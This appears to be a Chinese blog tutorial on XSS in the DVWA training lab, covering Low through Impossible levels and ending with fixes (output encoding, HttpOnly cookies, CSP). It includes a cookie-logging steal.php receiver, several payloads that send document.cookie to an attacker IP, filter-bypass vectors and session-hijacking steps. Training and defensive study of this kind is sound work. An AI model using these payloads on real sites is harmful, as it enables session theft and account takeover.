欢迎光临
我们一直在努力

DVWA靶场全栈实战:XSS跨站脚本攻击从漏洞探测到Cookie窃取与会话劫持(Low→Medium→High→Impossible 源码级复盘)

⚠️ 免责声明:本文所有实验均在 授权靶场 DVWA​ 中进行,严禁对任何未授权系统进行同类测试,触犯法律后果自负。


一、为什么 XSS 值得你花一整篇文章去啃?

跨站脚本攻击(Cross-Site Scripting,XSS)常年霸榜 OWASP Top 10,但它也是最容易被误读为"只会弹个 alert(1)"的漏洞。

真正的 XSS 攻击链是这样的:

发现输入点未过滤 → 注入恶意JS → 诱导受害者触发 → JS窃取Cookie/Session → 攻击者用Cookie伪造身份登录后台

一句话概括:XSS 的本质不是"让浏览器弹窗",而是让受害者的浏览器在"受信任的上下文"里替攻击者干活。

本文以 DVWA(Damn Vulnerable Web Application)​ 为靶场,完整走完这条攻击链,并逐级别拆解源码中的防御与绕过思路。


二、实验环境搭建

2.1 最快的方式:Docker 一把梭

# 拉取镜像
docker pull vulnerables/web-dvwa

# 启动容器,映射端口 8080
docker run -d –name dvwa -p 8080:80 vulnerables/web-dvwa

访问 http://localhost:8080/setup.php,点击 Create / Reset Database​ 完成初始化。

默认账密:admin / password

登录后左侧菜单 → DVWA Security​ → 选 Low​ → Submit。

2.2 关闭浏览器的 XSS Auditor(实验必需)

现代 Chrome/Edge 自带 XSS 拦截器,会挡掉我们的反射型测试。实验时需要临时放行:

  • 地址栏输入 chrome://flags/#disable-xss-auditor

  • 将 XSS Auditor​ 设为 Disabled

  • 重启浏览器

📌 实际渗透中,绕过浏览器 XSS Auditor 是另一门学问(过滤绕过、编码混淆、SVG向量等),但靶场学习阶段先关掉它,专注理解漏洞本质。


三、反射型 XSS(Reflected XSS)—— 从弹窗到真正的数据外传

3.1 漏洞定位

左侧菜单进入 XSS (Reflected),页面只有一个输入框 name。

正常输入:

Hello test

URL 变成了:

http://localhost:8080/vulnerabilities/xss_r/?name=test

这意味着:name参数的值被服务端原样"反射"回了 HTML 响应里。

3.2 Low 级别——零防御,直捣黄龙

先看源码(点击页面下方 View Source):

// Low级别源码(核心片段)
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
$name = $_GET[ 'name' ];
echo "<pre>Hello " . $name . "</pre>";
}

没有任何过滤,$name直接拼进 HTML → 经典注入点。

PoC 验证(输入框直接填):

<script>alert(1)</script>

或直接在地址栏构造:

http://localhost:8080/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

看到 Cookie 弹窗 → 漏洞确认 ✅

3.3 不只是弹窗:写一段真正的 Cookie 窃取链

弹窗只能"证明存在",下面才是"利用"——把 Cookie 悄悄发到攻击者服务器。

Step 1:在 Kali / 攻击者机器上起一个接收端

# 确保 Apache 在跑
sudo systemctl start apache2
cd /var/www/html

创建 steal.php:

<?php
// /var/www/html/steal.php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'NO_COOKIE';
$log = fopen("cookies.log", "a");
fwrite($log, "[" . date('Y-m-d H:i:s') . "] " . $cookie . "\\n");
fclose($log);

// 返回一张 1×1 透明 GIF,避免控制台报错
header("Content-Type: image/gif");
echo base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
?>

# 确保可写
sudo chown www-data:www-data /var/www/html/cookies.log
touch /var/www/html/cookies.log
sudo chown www-data:www-data /var/www/html/cookies.log

假设攻击者 IP 为 192.168.56.101。

Step 2:构造 XSS Payload

<script>
new Image().src="http://192.168.56.101/steal.php?c="+encodeURIComponent(document.cookie);
</script>

最终恶意 URL:

http://localhost:8080/vulnerabilities/xss_r/?name=<script>new Image().src="http://192.168.56.101/steal.php?c="+encodeURIComponent(document.cookie)</script>

Step 3:诱导触发 + 查看战果

受害者点了这个链接后,浏览器会在"目标站的上下文中"携带 当前 Session Cookie​ 发起请求到攻击者服务器。

查看窃取到的 Cookie:

cat /var/www/html/cookies.log
# 输出类似:
# [2026-06-22 10:33:01] security=low; PHPSESSID=nq7b3r5um8p4t6c1s4c2qtlsv0

拿到 PHPSESSID之后,攻击者可以在自己的浏览器中用 EditThisCookie​ 插件直接替换 Session ID,免密码登录受害者账号


四、Medium 级别——过滤器的"假象"与绕过

把 DVWA Security 切到 Medium,再看一下源码:

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

防御思路:把 <script>字符串替换为空。

问题在哪?

绕过手法

Payload

原理

大小写混淆

<SCRIPT>alert(1)</SCRIPT>

str_replace默认区分大小写​

双写嵌套

<scr<script>ipt>

删掉里面的 <script>后,外层重新拼成 <script>

放弃 script 标签

<img src=x onerror=alert(document.cookie)>

不用 script 标签,改用事件处理器

实战中最稳的是 事件处理器路线(不受大小写/单次替换影响):

<img src=x onerror="new Image().src='http://192.168.56.101/steal.php?c='+encodeURIComponent(document.cookie)">

构造到 URL 里记得做 URL 编码:

?name=<img src=x onerror="new Image().src='http://192.168.56.101/steal.php?c='+encodeURIComponent(document.cookie)">

💡 这里也是用 Burp Suite 抓包改参的好时机——前端输入框可能有长度限制,抓包后在 Proxy → Send to Repeater 里自由编辑 payload,绕过前端 maxlength。


五、High 级别——正则过滤 + 为什么 "Blacklist" 永远不够

切到 High,源码升级为:

$name = preg_replace( '/<(.*)s*c*r*i*p*t/i', '', $_GET[ 'name' ] );

正则 /<(.*)s*c*r*i*p*t/i试图把任何形式的 <script…>干掉,且不区分大小写。

但注意:它依然走的是 黑名单思路——只堵 <script>,没堵其他所有能执行 JS 的途径。

有效绕过(不需要 script 标签):

<body onload="alert(document.cookie)">

或 img 向量:

<img src=x onerror="location='http://192.168.56.101/steal.php?c='+encodeURIComponent(document.cookie)">

传入方式(URL编码后):

?name=%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27http%3A%2F%2F192.168.56.101%2Fsteal.php%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%22%3E

⚔️ High 级别给我们的启示:黑名单过滤本质是"猫鼠游戏"——你堵一种写法,攻击者换一种向量。真正的修法在下面 Impossible 级别。


六、Impossible 级别——这才是正确写法

看源码:

$name = htmlspecialchars( $_GET[ 'name' ] );
echo "<pre>Hello " . $name . "</pre>";

一句话:输出时做 HTML 实体编码。

字符

编码后

<

&lt;

>

&gt;

"

&quot;

'

&#x27;

&

&amp;

浏览器把 &lt;script&gt;当成纯文本渲染,永远不会当做标签解析 → XSS 彻底死透。

✅ 开发侧正确防御清单

// 1. 输出到 HTML 上下文 → htmlspecialchars()
echo "<div>" . htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8') . "</div>";

// 2. 设置 Cookie 时加 HttpOnly(让 JS 读不到 Cookie)
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true, // ← 关键
'samesite' => 'Strict'
]);

再加一层 CSP(Content Security Policy)​ 响应头:

Content-Security-Policy: default-src 'self'; script-src 'self'

这样即使有注入点,浏览器也会拒绝执行 inline script。


七、存储型 XSS 简要补充——"一次投毒,永久触发"

反射型需要诱骗点击链接,存储型则是把 payload 写进数据库,之后每一个访问该页面的用户自动中招。

DVWA 的 XSS (Stored)​ 模块就是一个留言板:

  • Message​ 字段虽然做了 htmlspecialchars()过滤(Impossible 级别)

  • 但 Name​ 字段在某些级别下过滤不严

Low 级别实战步骤:

Name: attacker
Message: <script>new Image().src="http://192.168.56.101/steal.php?c="+encodeURIComponent(document.cookie)</script>

⚠️ 前端 Name 输入框有 maxlength="10"限制 → 按 F12 → Inspector → 直接改 input 的 maxlength 为 200​ → 再填 payload → Submit。

换一台"受害者浏览器"访问同一页 → Cookie 无声无息飞走。


八、全文总结 & 思维导图

XSS 攻击链(完整闭环)

├── 1. 信息收集/侦察 → 找输入点(搜索框、留言板、URL参数、HTTP头)
├── 2. 漏洞探测 → <script>alert(1)</script> PoC
├── 3. Payload 工程化 → 不用 alert,用 Image()/fetch() 外传数据
├── 4. 绕过过滤(Medium/High)→ 大小写 / 双写 / 事件处理器 / 编码混淆
├── 5. 会话劫持 → 窃取 PHPSESSID → 替换 Cookie → 免密登录
└── 6. 防御(Impossible) → htmlspecialchars + HttpOnly + CSP + 输入白名单


🏷️ 写在最后

XSS 看着简单,深挖下去却牵着 浏览器解析引擎、同源策略、DOM 生命周期、Cookie 安全模型​ 一整条知识链。能把这个链从"弹窗"推到"会话被劫持",才算真正摸到了 Web 安全的门槛。

如果你觉得这篇对你有帮助,点个 👍、收个藏,评论区可以交流:你在实际项目中遇到过最离谱的 XSS 触发点是什么?(搜索框?CSV导出?PDF生成器?)

赞(0)
未经允许不得转载:171主机测评 » DVWA靶场全栈实战:XSS跨站脚本攻击从漏洞探测到Cookie窃取与会话劫持(Low→Medium→High→Impossible 源码级复盘)
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址